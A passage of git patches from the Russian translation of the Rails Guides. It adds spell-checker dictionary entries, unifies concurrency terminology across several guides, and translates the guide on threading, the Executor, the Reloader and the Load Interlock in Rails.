    ` на странице. Если ваш браузер поддерживает [PushState](https://developer.mozilla.org/ru/docs/Web/API/History_API#%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_pushState()), Turbolinks сделает запрос Ajax для страницы, распарсит отклик и заменит полностью `` страницы на `` отклика. Затем он использует PushState для изменения URL на правильный, сохраняя семантику для обновления и предоставляя красивые URL. -Единственное, что необходимо сделать для включения Turbolinks - это добавить его в свой Gemfile, и поместить `//= require turbolinks` в свой манифест JavaScript, обычно это `app/assets/javascripts/application.js`. +Единственное, что необходимо сделать для включения Turbolinks - это добавить его в свой `Gemfile`, и поместить `//= require turbolinks` в свой манифест JavaScript, обычно это `app/assets/javascripts/application.js`. Если хотите отключить Turbolinks для определенных ссылок, добавьте атрибут `data-turbolinks="false"` к тегу: From 8d98f99d7eee751c0bbcbfd9e99f585b384c40a5 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Fri, 17 Nov 2017 14:03:55 +0300 Subject: [PATCH 349/932] translate --- .yaspellerrc | 7 +- source/5_0_release_notes.md | 2 +- source/5_1_release_notes.md | 2 +- source/action_cable_overview.md | 4 +- source/action_controller_overview.md | 2 +- source/caching_with_rails.md | 2 +- source/configuring.md | 2 +- source/debugging_rails_applications.md | 2 +- source/index.md | 1 + source/index.yml | 2 +- source/initialization.md | 2 +- source/menu.md | 1 + source/threading_and_code_execution.md | 263 ++++++++----------------- 13 files changed, 96 insertions(+), 196 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 83adf29a..b4bf9b23 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -18,11 +18,14 @@ "админк(а|е|и|у|ах|ами|)", "акцессор(а|е|и|у|ах|ов|ом|ами|)", "ами", + "апгрейд(а|е|у|ы|ах|ов|ом|ами|)", + "апгрейднут(а|о|ы|ь|ая|ое|ом|ую|ые|ый|ых|ого|ому|ыми|ься|)", "ассет(а|е|у|ы|ах|ов|ом|ами|)", "баг(а|е|и|у|ах|ов|ом|ами|)", "багфикс(а|е|у|ы|ах|ов|ом|ами|)", "бд", "БД", + "бесшовн(о|ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", "билдер(а|е|у|ы|ах|ов|ом|ами|)", "биллинг(а|е|и|у|ах|ов|ом|ами|)", "бинстаб(а|е|у|ы|ах|ов|ом|ами|)", @@ -39,6 +42,7 @@ "виджет(ы|а|ов|у|ам|е|ах|)", "внетранзакцион(но|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", "внутрипроцессн(ый|ая|ое|ую)", + "волатильн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", "воркер(а|е|у|ы|ах|ов|ом|ами|)", "вьюх(а|е|и|у|ах|ами|)", "гендер(но|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", @@ -73,6 +77,7 @@ "инвалидир(ует|уют|уете|овать)(ся|)", "инлайн", "инстанс", + "интерлок(а|е|и|у|ах|ов|ом|ами|)", "интранет(а|е|у|ы|ах|ов|ом|ами|)", "кастомн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", "кликджекинг", @@ -205,7 +210,6 @@ "спарсив", "спуфинг(а|ом|е|)", "стаб(а|е|у|ы|ах|ов|ом|ами|)", - "стэк(а|е|у|ы|ах|ов|ом|ами|)", "суффикс(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", "тикет(а|е|у|ы|ах|ов|ом|ами|)", "токен(а|е|у|ы|ах|ов|ом|ами|)", @@ -229,6 +233,7 @@ "хэширован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "чекбокс(а|е|у|ы|ах|ов|ом|ами|)", "черри", + "шифртекст(а|е|у|ы|ах|ов|ом|ами|)", "экшн(а|е|у|ы|ах|ов|ом|ами|)", "экранизатор(а|е|у|ы|ах|ов|ом|ами|)" ], diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index 45e5a1ca..14c1b66c 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -593,7 +593,7 @@ Active Record * Добавлена поддержка нативного типа данных JSON в MySQL. ([Pull Request](https://github.com/rails/rails/pull/21110)) -* Добавлена поддержка для параллельного удаления индексов в PostgreSQL. +* Добавлена поддержка для конкурентного удаления индексов в PostgreSQL. ([Pull Request](https://github.com/rails/rails/pull/21317)) * Добавлены методы `#views` и `#view_exists?` на адаптерах соединений. diff --git a/source/5_1_release_notes.md b/source/5_1_release_notes.md index 4aae9914..16f708f8 100644 --- a/source/5_1_release_notes.md +++ b/source/5_1_release_notes.md @@ -205,7 +205,7 @@ URL и скоуп на основе используемой модели: Если ваши тесты сейчас полагаются на получение отдельного, внетранзакционного соединения для порождаемого треда, вам необходимо переключиться на более явное управление соединением. -Если ваши тесты порождают треды, и эти треды взаимодействуют, в то же время используя явные соединения с базой данных, то это может вызвать взаимную блокировку (deadlock). +Если ваши тесты порождают треды, и эти треды взаимодействуют, в то же время используя явные соединения с базой данных, то это может вызвать дедлок (deadlock). Самым простым способом отказаться от подобного нового поведения является отключение транзакционных тестов для всех тестовых случаев, которые оно затрагивает. diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index a1a55bcc..7f06fe9b 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -148,7 +148,7 @@ App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" } ## Клиент-серверное взаимодействие -### Потоки +### Потоки (Streams) *Потоки* предоставляют механизм, с помощью которого каналы направляют опубликованный контент (трансляции) их подписчикам. @@ -558,6 +558,6 @@ Action Cable предоставляет интерфейс адаптера по Action Cable работает на комбинации WebSockets и тредов. Работа обоих фреймворка и определенного для пользователя канала, внутренне обрабатываются с помощью поддержки нативных тредов Ruby. Это означает, что вы можете без проблем использовать все обычные модели Rails, до тех пор, пока они отвечают тредобезопасности. -Сервер Action Cable реализует API сокетов Rack, тем самым позволяет внутренне использовать мультитредовый паттерн для управления соединениями, независимо от того, является ли сервер приложения многопоточным. +Сервер Action Cable реализует API сокетов Rack, тем самым позволяет внутренне использовать мультитредовый паттерн для управления соединениями, независимо от того, является ли сервер приложения мультитредовым. В соответствии с этим, Action Cable работает со популярными серверами, такими как Unicorn, Puma и Passenger. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index c4281fe2..7478cad0 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -977,7 +977,7 @@ end Потоковая передача произвольных данных – чрезвычайно мощный инструмент. Как показано в предыдущих примерах, можно выбирать, когда и что посылать в потоковом отклике. Однако, также необходимо отметить следующие вещи: -* Каждый потоковый отклик создает новый тред и копирует локальные переменные из текущего треда. Наличие большого количество тредовых локальных переменных может отрицательно сказаться на производительности. Большое количество тредов также препятствует производительности. +* Каждый потоковый отклик создает новый тред и копирует тредовые локальные переменные из текущего треда. Наличие большого количество тредовых локальных переменных может отрицательно сказаться на производительности. Большое количество тредов также препятствует производительности. * Незакрытие потокового отклика оставит соответствующий сокет открытым навсегда. Убедитесь, что вызываете `close` при использовании потокового отклика. * Серверы WEBrick буферизируют все отклики, поэтому включение `ActionController::Live` не будет работать. Необходимо использовать веб-сервер, не буферизирующий отклики автоматически. diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 62f3c065..8a49a81a 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -5,7 +5,7 @@ Кэширование означает хранение контента, генерируемого в цикле запрос-ответ, и повторное использование его при ответе на подобные запросы. -Кэширование часто является самым эффективным способом повысить производительность приложения. При помощи кэширования, веб-сайты, работающие на одном сервере с одной базой данных, могут выдержать нагрузку в несколько десятков тысяч одновременных пользователей. +Кэширование часто является самым эффективным способом повысить производительность приложения. При помощи кэширования, веб-сайты, работающие на одном сервере с одной базой данных, могут выдержать нагрузку в несколько десятков тысяч конкурентных пользователей. Rails предоставляет набор функций кэширования из коробки. Это руководство научит вас областям кэширования и целям каждой области. Освойте эти приемы и ваши Rails приложения смогут обслужить миллионы просмотров без запредельного времени отклика сервера или счетов за сервер. diff --git a/source/configuring.md b/source/configuring.md index 50844053..eaf0a9af 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -54,7 +54,7 @@ Rails будет использовать эту конкретную настр end ``` -* `config.asset_host` устанавливает хост для ассетов. Полезна, когда для хостинга ассетов используются CDN, или когда вы хотите обойти встроенную в браузеры политику ограничения домена при использовании различных псевдонимов доменов. Укороченная версия `config.action_controller.asset_host`. +* `config.asset_host` устанавливает хост для ассетов. Полезна, когда для хостинга ассетов используются CDN, или когда необходимо обойти встроенные в браузеры конкурентные ограничения, используя различные псевдонимы доменов. Укороченная версия `config.action_controller.asset_host`. * `config.autoload_once_paths` принимает массив путей, по которым Rails будет загружать константы, не стирающиеся между запросами. Уместна, если `config.cache_classes` является `false`, что является в режиме development по умолчанию. В противном случае все автозагрузки происходят только раз. Все элементы этого массива также должны быть в `autoload_paths`. По умолчанию пустой массив. diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 4c7909d7..92def2c2 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -443,7 +443,7 @@ Processing by ArticlesController#index as HTML * `thread resume n`: возобновляет тред _n_. * `thread switch n`: переключает контекст текущего треда на _n_. -Эта команда очень полезна, когда вы отлаживаете параллельные треды и нужно убедиться, что в коде нет состояния гонки. +Эта команда очень полезна при отлаживании конкурентных тредов и когда необходимо убедиться, что в коде нет состояния гонки. ### Просмотр переменных diff --git a/source/index.md b/source/index.md index 4b7b7091..a9cef96f 100644 --- a/source/index.md +++ b/source/index.md @@ -69,6 +69,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Основы создания плагинов Rails](/plugins) := Это руководство раскрывает, как создать плагин, расширяющий функционал Rails. - [Rails on Rack](/rails-on-rack) := Это руководство раскрывает интеграцию Rails и Rack, и взаимодействие с другими компонентами Rack - [Создание и настройка генераторов Rails](/generators) := Это руководство раскрывает процесс добавления совершенно нового генератора для вашего расширения или представления альтернативного элемента для встроенного в Rails генератора (такого как представление альтернативных тестовых заглушек для генератора скаффолда). +- [Треды и выполнение кода в Rails](/threading_and_code_execution) := В этом руководстве описываются необходимые требования и инструменты, доступные при работе напрямую с конкурентностью в приложении Rails. - [Использование Rails для API-приложений](/api-app) := Это руководство раскрывает создание приложения Rails, отдающего ресурсы JSON клиентам API **или** клиентскому фреймворку. - [Шаблоны приложения Rails](/rails-application-templates) := Это руководство раскрывает создание и использование шаблонов приложений Rails. diff --git a/source/index.yml b/source/index.yml index 8da58763..465155b5 100644 --- a/source/index.yml +++ b/source/index.yml @@ -312,7 +312,7 @@ pages: revision: 5c0d00072d1309dbc77bb5d97e42956bac3e8684 date: 20/03/2017 - - title: Потоки выполнения и выполнение кода + - title: Треды и выполнение кода в Rails path: threading_and_code_execution file: threading_and_code_execution.md revision: b5cd7d5b511361062f67ebad45ab38393970fc47 diff --git a/source/initialization.md b/source/initialization.md index 1eb548e9..c1c94b2e 100644 --- a/source/initialization.md +++ b/source/initialization.md @@ -526,7 +526,7 @@ end Код `run_initializers` сам по себе является сложным. Тут Rails проходит всех предков класса, ищет тех, кто отвечает на метод `initializers`. Затем он сортирует предков по имени и запускает. Например, класс `Engine` делает доступными все engine, предоставляя в нем метод `initializers`. -Класс `Rails::Application`, как определено в `railties/lib/rails/application.rb`, определяет инициализаторы `bootstrap`, `railtie` и `finisher`. Инициализаторы `bootstrap` подготавливает приложение (такие как инициализатор логгера), в то время как инициализаторы `finisher` (такие как создание стэка промежуточных программ) запускаются последними. Инициализаторы `railtie` – это инициализаторы, которые определены самим `Rails::Application` и запускаются между `bootstrap` и `finisher`. +Класс `Rails::Application`, как определено в `railties/lib/rails/application.rb`, определяет инициализаторы `bootstrap`, `railtie` и `finisher`. Инициализаторы `bootstrap` подготавливает приложение (такие как инициализатор логгера), в то время как инициализаторы `finisher` (такие как создание стека промежуточных программ) запускаются последними. Инициализаторы `railtie` – это инициализаторы, которые определены самим `Rails::Application` и запускаются между `bootstrap` и `finisher`. После того, как это закончится, мы вернемся в `Rack::Server`. diff --git a/source/menu.md b/source/menu.md index 9e43b3ff..66b326ac 100644 --- a/source/menu.md +++ b/source/menu.md @@ -54,6 +54,7 @@ next_column * [Основы создания плагинов Rails](/plugins) * [Rails on Rack](/rails-on-rack) * [Создание и настройка генераторов Rails](/generators) + * [Треды и выполнение кода в Rails](/threading_and_code_execution) * [Использование Rails для API-приложений](/api-app) * [Шаблоны приложения Rails](/rails-application-templates) diff --git a/source/threading_and_code_execution.md b/source/threading_and_code_execution.md index 1c7d61a2..bd03b24b 100644 --- a/source/threading_and_code_execution.md +++ b/source/threading_and_code_execution.md @@ -1,296 +1,198 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** +Треды и выполнение кода в Rails +=============================== -Threading and Code Execution in Rails -===================================== +После прочтения этого руководства вы узнаете: -After reading this guide, you will know: - -* What code Rails will automatically execute concurrently -* How to integrate manual concurrency with Rails internals -* How to wrap all application code -* How to affect application reloading +* Какой код Rails будет автоматически выполняться конкурентно +* Как интегрировать ручную конкурентность с внутренними компонентами Rails +* Как обернуть весь код приложения +* Как повлиять на перезагрузку приложения -------------------------------------------------------------------------------- -Automatic Concurrency ---------------------- +Автоматическая конкурентность +----------------------------- -Rails automatically allows various operations to be performed at the same time. +Rails автоматически позволяет выполнять различные операции одновременно. -When using a threaded web server, such as the default Puma, multiple HTTP -requests will be served simultaneously, with each request provided its own -controller instance. +При использовании тредового веб-сервера, такого как дефолтный Puma, несколько HTTP-запросов будут обслуживаться одновременно, причем каждому запросу предоставляется свой собственный экземпляр контроллера. -Threaded Active Job adapters, including the built-in Async, will likewise -execute several jobs at the same time. Action Cable channels are managed this -way too. +Тредовые адаптеры Active Job, в том числе встроенный Async, будут также выполнять несколько заданий в то же время. Аналогичным образом управляются каналы Action Cable. -These mechanisms all involve multiple threads, each managing work for a unique -instance of some object (controller, job, channel), while sharing the global -process space (such as classes and their configurations, and global variables). -As long as your code doesn't modify any of those shared things, it can mostly -ignore that other threads exist. +Все эти механизмы связаны с несколькими тредами, каждый из которых управляет работой с уникальным экземпляром некоторого объекта (контроллером, заданием, каналом) при совместном использовании глобального пространства процесса (например, классов и их конфигураций, и глобальных переменных). Пока код не модифицирует ни одну из этих общих вещей, он может, в основном, игнорировать то, что существуют другие треды. -The rest of this guide describes the mechanisms Rails uses to make it "mostly -ignorable", and how extensions and applications with special needs can use them. +В остальной части этого руководства описываются механизмы Rails, используемые чтобы сделать его "по большей части игнорирующим", и как расширения и приложения с особыми потребностями могут использовать их. Executor -------- -The Rails Executor separates application code from framework code: any time the -framework invokes code you've written in your application, it will be wrapped by -the Executor. +Executor в Rails отделяет код приложения от кода фреймворка: в любое время, когда фреймворк вызывает код, написанный в приложении, он будет обернут Executor. -The Executor consists of two callbacks: `to_run` and `to_complete`. The Run -callback is called before the application code, and the Complete callback is -called after. +Executor состоит из двух коллбэков: `to_run` и `to_complete`. Коллбэк `to_run` вызывается до кода приложения, а `to_complete` - после. -### Default callbacks +### Дефолтные коллбэки -In a default Rails application, the Executor callbacks are used to: +В приложении Rails по умолчанию коллбэки Executor используются для: -* track which threads are in safe positions for autoloading and reloading -* enable and disable the Active Record query cache -* return acquired Active Record connections to the pool -* constrain internal cache lifetimes +* отслеживания, какие треды находятся в безопасных положениях для автозагрузки и перезагрузки +* включения и отключения кэша запросов Active Record +* возвращения приобретенного подключения Active Record к пулу +* ограничения продолжительности жизни внутреннего кэша -Prior to Rails 5.0, some of these were handled by separate Rack middleware -classes (such as `ActiveRecord::ConnectionAdapters::ConnectionManagement`), or -directly wrapping code with methods like -`ActiveRecord::Base.connection_pool.with_connection do`. The Executor replaces -these with a single more abstract interface. +До Rails 5.0 некоторые из них обрабатывались отдельными классами промежуточной программы Rack (такими, как `ActiveRecord::ConnectionAdapters::ConnectionManagement`) или напрямую оборачивали код с помощью таких методов, как `ActiveRecord::Base.connection_pool.with_connection do`. Executor заменяет их с помощью единого, более абстрактного интерфейса. -### Wrapping application code +### Оборачивание кода приложения -If you're writing a library or component that will invoke application code, you -should wrap it with a call to the executor: +Если пишется библиотека или компонент, которые будут вызывать код приложения, необходимо обернуть их с помощью вызова Executor: ```ruby Rails.application.executor.wrap do - # call application code here + # здесь вызывается код приложения end ``` -TIP: If you repeatedly invoke application code from a long-running process, you -may want to wrap using the Reloader instead. +TIP: Если повторно вызывается код приложения из долговременного процесса, может потребоваться обернуть его с помощью Reloader. -Each thread should be wrapped before it runs application code, so if your -application manually delegates work to other threads, such as via `Thread.new` -or Concurrent Ruby features that use thread pools, you should immediately wrap -the block: +Каждый тред должен быть обернут до запуска кода приложения, поэтому если приложение вручную делегирует работу другим тредам, например, с помощью `Thread.new` или функций конкурентного Ruby, которые используют пулы тредов, необходимо немедленно обернуть блок: ```ruby Thread.new do Rails.application.executor.wrap do - # your code here + # здесь какой-либо код end end ``` -NOTE: Concurrent Ruby uses a `ThreadPoolExecutor`, which it sometimes configures -with an `executor` option. Despite the name, it is unrelated. +NOTE: Конкурентный Ruby использует `ThreadPoolExecutor`, который иногда настраивается с помощью опции `executor`. Несмотря на название, они не связаны. -The Executor is safely re-entrant; if it is already active on the current -thread, `wrap` is a no-op. +Executor является безопасно реентерабельным; если он уже активен в текущем треде, `wrap` игнорируется. -If it's impractical to physically wrap the application code in a block (for -example, the Rack API makes this problematic), you can also use the `run!` / -`complete!` pair: +Если нецелесообразно физически оборачивать код приложения в блок (например, Rack API делает это проблематично), можно также использовать пару `run!` / `complete!`: ```ruby Thread.new do execution_context = Rails.application.executor.run! - # your code here + # здесь какой-либо код ensure execution_context.complete! if execution_context end ``` -### Concurrency +### Конкурентность (Concurrency) -The Executor will put the current thread into `running` mode in the Load -Interlock. This operation will block temporarily if another thread is currently -either autoloading a constant or unloading/reloading the application. +Executor поместит текущий тред в режим `running` при Load Interlock. Эта операция временно будет блокироваться, если другой тред в настоящее время либо автозагружает константу, либо выгружает/перезагружает приложение. Reloader -------- -Like the Executor, the Reloader also wraps application code. If the Executor is -not already active on the current thread, the Reloader will invoke it for you, -so you only need to call one. This also guarantees that everything the Reloader -does, including all its callback invocations, occurs wrapped inside the -Executor. +Как и Executor, Reloader также оборачивает код приложения. Если Executor не активен в текущем треде, Reloader вызовет его сам, поэтому необходимо вызывать только Reloader. Это также гарантирует, что все, что делает Reloader, включая все его вызовы коллбэка, оказывается обернутым внутри Executor. ```ruby Rails.application.reloader.wrap do - # call application code here + # здесь вызывается код приложения end ``` -The Reloader is only suitable where a long-running framework-level process -repeatedly calls into application code, such as for a web server or job queue. -Rails automatically wraps web requests and Active Job workers, so you'll rarely -need to invoke the Reloader for yourself. Always consider whether the Executor -is a better fit for your use case. +Reloader подходит только тогда, когда долговременный процесс на уровне фреймворка повторно вызывается в коде приложения, например, для веб-сервера или очереди заданий. Rails автоматически оборачивает веб-запросы и воркеры Active Job, поэтому редко приходится ссылаться на Reloader. Всегда учитывайте, подходит ли Executor для конкретного случая. -### Callbacks +### Коллбэки -Before entering the wrapped block, the Reloader will check whether the running -application needs to be reloaded -- for example, because a model's source file has -been modified. If it determines a reload is required, it will wait until it's -safe, and then do so, before continuing. When the application is configured to -always reload regardless of whether any changes are detected, the reload is -instead performed at the end of the block. +Перед входом в обернутый блок Reloader проверит, нужно ли перезагружать запущенное приложение - например, потому что исходный файл модели был модифицирован. Если он определяет, что требуется перезагрузка, он будет ждать до тех пор, пока это будет безопасно, а затем сделает это, прежде чем продолжить. Когда приложение настроено на постоянную перезагрузку независимо от того, обнаружены ли какие-либо изменения, перезагрузка будет выполняется в конце блока. -The Reloader also provides `to_run` and `to_complete` callbacks; they are -invoked at the same points as those of the Executor, but only when the current -execution has initiated an application reload. When no reload is deemed -necessary, the Reloader will invoke the wrapped block with no other callbacks. +Reloader также предоставляет коллбэки `to_run` и `to_complete`; они вызываются в тех же точках, что и для Executor, но только когда текущее выполнение инициировало перезагрузку приложения. Когда нет необходимости в перезагрузке, Reloader будет вызывать обернутый блок без каких-либо других коллбэков. -### Class Unload +### Выгрузка классов (Class Unload) -The most significant part of the reloading process is the Class Unload, where -all autoloaded classes are removed, ready to be loaded again. This will occur -immediately before either the Run or Complete callback, depending on the -`reload_classes_only_on_change` setting. +Наиболее значительная часть процесса перезагрузки - это выгрузка классов, в которой все автозагруженные классы удаляются, и их можно снова загружать. Это происходит непосредственно до коллбэков `to_run` или `to_complete`, в зависимости от параметра `reload_classes_only_on_change`. -Often, additional reloading actions need to be performed either just before or -just after the Class Unload, so the Reloader also provides `before_class_unload` -and `after_class_unload` callbacks. +Зачастую дополнительные экшны по перезагрузке должны выполняться как непосредственно до, так и сразу после выгрузки классов, поэтому Reloader также предоставляет коллбэки `before_class_unload` и `after_class_unload`. -### Concurrency +### Конкурентность -Only long-running "top level" processes should invoke the Reloader, because if -it determines a reload is needed, it will block until all other threads have -completed any Executor invocations. +Только долговременные процессы "верхнего уровня" должны ссылаться на Reloader, потому что если он определяет, что требуется перезагрузка, он будет блокироваться до тех пор, пока все другие треды не завершат любые вызовы Executor. -If this were to occur in a "child" thread, with a waiting parent inside the -Executor, it would cause an unavoidable deadlock: the reload must occur before -the child thread is executed, but it cannot be safely performed while the parent -thread is mid-execution. Child threads should use the Executor instead. +Если это произойдет в "дочернем" треде, с ожидающим родителем внутри Executor, это вызовет неизбежный дедлок: перезагрузка должна произойти до того, как дочерний тред будет выполнен, но он не может быть безопасно выполнен, пока родительский тред находится в середине выполнения. Вместо этого дочерний тред должен использовать Executor. -Framework Behavior ------------------- +Поведение фреймворка +-------------------- -The Rails framework components use these tools to manage their own concurrency -needs too. +Компоненты фреймворка Rails используют эти инструменты для управления своей собственной конкурентностью. -`ActionDispatch::Executor` and `ActionDispatch::Reloader` are Rack middlewares -that wraps the request with a supplied Executor or Reloader, respectively. They -are automatically included in the default application stack. The Reloader will -ensure any arriving HTTP request is served with a freshly-loaded copy of the -application if any code changes have occurred. +`ActionDispatch::Executor` и `ActionDispatch::Reloader` являются промежуточными программами Rack, которые обертывают запрос с помощью поставляемого Executor или Reloader, соответственно. Они автоматически включены в дефолтный стек приложений. Reloader гарантирует, что любой входящий HTTP-запрос будет обслуживаться последней копией приложения, если произойдут какие-либо изменения кода. -Active Job also wraps its job executions with the Reloader, loading the latest -code to execute each job as it comes off the queue. +Active Job также оборачивает выполнение задания с помощью Reloader, загружая последний код для выполнения каждого задания, когда оно выходит из очереди. -Action Cable uses the Executor instead: because a Cable connection is linked to -a specific instance of a class, it's not possible to reload for every arriving -websocket message. Only the message handler is wrapped, though; a long-running -Cable connection does not prevent a reload that's triggered by a new incoming -request or job. Instead, Action Cable uses the Reloader's `before_class_unload` -callback to disconnect all its connections. When the client automatically -reconnects, it will be speaking to the new version of the code. +Action Cable использует вместо этого Executor: поскольку соединение Cable связано с конкретным экземпляром класса, невозможно перезагрузить для каждого прибывающего веб-сокета сообщение. Тем не менее, обрабатывается только обработчик сообщений; долговременное соединение Cable не предотвращает перезагрузку, вызванную новым входящим запросом или заданием. Вместо этого Action Cable использует коллбэк `before_class_unload` Reloader для отключения всех его соединений. Когда клиент автоматически переподключится, он будет иметь дело с новой версией кода. -The above are the entry points to the framework, so they are responsible for -ensuring their respective threads are protected, and deciding whether a reload -is necessary. Other components only need to use the Executor when they spawn -additional threads. +Вышеупомянутые являются точками входа в фреймворк, поэтому они несут ответственность за обеспечение своих соответствующих тредов и принятие решения о необходимости перезагрузки. Другие компоненты должны использовать Executor, только когда они порождают дополнительные треды. -### Configuration +### Конфигурация -The Reloader only checks for file changes when `cache_classes` is false and -`reload_classes_only_on_change` is true (which is the default in the -`development` environment). +Reloader проверяет только изменения файлов, когда `cache_classes` это false, а `reload_classes_only_on_change` это true (это значения по умолчанию в среде `development`). -When `cache_classes` is true (in `production`, by default), the Reloader is only -a pass-through to the Executor. +Когда `cache_classes` это true (в `production`, по умолчанию), Reloader это всего лишь переходник к Executor. -The Executor always has important work to do, like database connection -management. When `cache_classes` and `eager_load` are both true (`production`), -no autoloading or class reloading will occur, so it does not need the Load -Interlock. If either of those are false (`development`), then the Executor will -use the Load Interlock to ensure constants are only loaded when it is safe. +У Executor всегда есть важная работа, например управление подключением к базе данных. Когда `cache_classes` и `eager_load` это true (`production`), автозагрузка или перезагрузка класса не будут происходить, поэтому Load Interlock не требуется. Если любой из них это false (`development`), то Executor будет использовать Load Interlock, гарантируя что константы загружаются только тогда, когда они безопасны. Load Interlock -------------- -The Load Interlock allows autoloading and reloading to be enabled in a -multi-threaded runtime environment. +Load Interlock позволяет включить автозагрузку и перезагрузку в многотредовой среде выполнения. -When one thread is performing an autoload by evaluating the class definition -from the appropriate file, it is important no other thread encounters a -reference to the partially-defined constant. +Когда один тред выполняет автозагрузку, оценивая определение класса из соответствующего файла, важно чтобы никакой другой тред не встречал обращение к частично определенной константе. -Similarly, it is only safe to perform an unload/reload when no application code -is in mid-execution: after the reload, the `User` constant, for example, may -point to a different class. Without this rule, a poorly-timed reload would mean -`User.new.class == User`, or even `User == User`, could be false. +Точно так же безопасно выполнять выгрузку/перезагрузку, когда код приложения не находится в середине выполнения: после перезагрузки константа `User`, например, может указывать на другой класс. Без этого правила несвоевременная перезагрузка будет означать, что `User.new.class == User` или даже `User == User` могут быть false. -Both of these constraints are addressed by the Load Interlock. It keeps track of -which threads are currently running application code, loading a class, or -unloading autoloaded constants. +Оба этих ограничения рассматриваются Load Interlock. Он отслеживает, какие треды в настоящее время запускают код приложения, загружают класс или выгружают автозагруженные константы. -Only one thread may load or unload at a time, and to do either, it must wait -until no other threads are running application code. If a thread is waiting to -perform a load, it doesn't prevent other threads from loading (in fact, they'll -cooperate, and each perform their queued load in turn, before all resuming -running together). +Одновременно только один тред может загружать или выгружать, а сделав это, он должен подождать пока другие треды не будут запускать код приложения. Если тред ожидает выполнения загрузки, он не предотвращает загрузку других тредов (на самом деле, они будут взаимодействовать, и каждый из них будет выполнять свою постановку в очередь, прежде чем все вместе возобновится). ### `permit_concurrent_loads` -The Executor automatically acquires a `running` lock for the duration of its -block, and autoload knows when to upgrade to a `load` lock, and switch back to -`running` again afterwards. +Executor автоматически приобретает лок `running` на протяжении всего своего блока, и автозагрузка знает, когда производить апгрейд лока `load`, и снова вернуться к `running`. -Other blocking operations performed inside the Executor block (which includes -all application code), however, can needlessly retain the `running` lock. If -another thread encounters a constant it must autoload, this can cause a -deadlock. +Однако другие операции блокировки, выполняемые внутри блока Executor (включая весь код приложения), могут без необходимости удерживать лок `running`. Если другой тред встречает константу, он должен автозагружаться, это может вызвать дедлок. -For example, assuming `User` is not yet loaded, the following will deadlock: +Например, если предположить, что `User` еще не загружен, следующее приведет к дедлоку: ```ruby Rails.application.executor.wrap do th = Thread.new do Rails.application.executor.wrap do - User # inner thread waits here; it cannot load - # User while another thread is running + User # внутренний тред ждет здесь; он не может + # загружать User, пока выполняется другой тред end end - th.join # outer thread waits here, holding 'running' lock + th.join # внешний тред ждет здесь, удерживая лок 'running' end ``` -To prevent this deadlock, the outer thread can `permit_concurrent_loads`. By -calling this method, the thread guarantees it will not dereference any -possibly-autoloaded constant inside the supplied block. The safest way to meet -that promise is to put it as close as possible to the blocking call only: +Чтобы предотвратить этот дедлок, внешний тред может `permit_concurrent_loads`. Вызывая этот метод, тред гарантирует, что он не будет разыменовывать любую потенциально автозагруженную константу внутри предоставленного блока. Самый безопасный способ выполнить это обещание - максимально приблизить его к блокирующему вызову: ```ruby Rails.application.executor.wrap do th = Thread.new do Rails.application.executor.wrap do - User # inner thread can acquire the load lock, - # load User, and continue + User # внутренний тред может приобрести загрузку лока, + # загрузить User и продолжить end end ActiveSupport::Dependencies.interlock.permit_concurrent_loads do - th.join # outer thread waits here, but has no lock + th.join # внешний тред ждет здесь, но не имеет лока end end ``` -Another example, using Concurrent Ruby: +Другой пример, с использованием конкурентного Ruby: ```ruby Rails.application.executor.wrap do futures = 3.times.collect do |i| Concurrent::Future.execute do Rails.application.executor.wrap do - # do work here + # здесь делаем работу end end end @@ -301,24 +203,15 @@ Rails.application.executor.wrap do end ``` - ### ActionDispatch::DebugLocks -If your application is deadlocking and you think the Load Interlock may be -involved, you can temporarily add the ActionDispatch::DebugLocks middleware to -`config/application.rb`: +Если приложение попадает в дедлок, и вы думаете, что это из-за Load Interlock, можно временно добавить промежуточную программу ActionDispatch::DebugLocks в `config/application.rb`: ```ruby config.middleware.insert_before Rack::Sendfile, ActionDispatch::DebugLocks ``` -If you then restart the application and re-trigger the deadlock condition, -`/rails/locks` will show a summary of all threads currently known to the -interlock, which lock level they are holding or awaiting, and their current -backtrace. - -Generally a deadlock will be caused by the interlock conflicting with some other -external lock or blocking I/O call. Once you find it, you can wrap it with -`permit_concurrent_loads`. +Если затем перезапустить приложение и перезапустить условие дедлока, `/rails/locks` покажет сводку всех тредов, которые в настоящее время известны интерлоку, какой уровень лока они удерживают или ждут, и их текущий бэктрейс. +Как правило, дедлок будет вызван интерлоком, конфликтующим с каким-либо другим внешним локом или блокировкой вызова I/O. Как только он будет найден, можно обернуть его с помощью `permit_concurrent_loads`. From 69acc720fbf651188eb3966c5fdec74252e550e9 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Fri, 22 Dec 2017 13:43:07 +0300 Subject: [PATCH 350/932] restruc menu --- source/menu.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/menu.md b/source/menu.md index 66b326ac..d425dfbc 100644 --- a/source/menu.md +++ b/source/menu.md @@ -35,12 +35,12 @@ * [Безопасность приложений на Rails](/ruby-on-rails-security-guide) * [Отладка приложений на 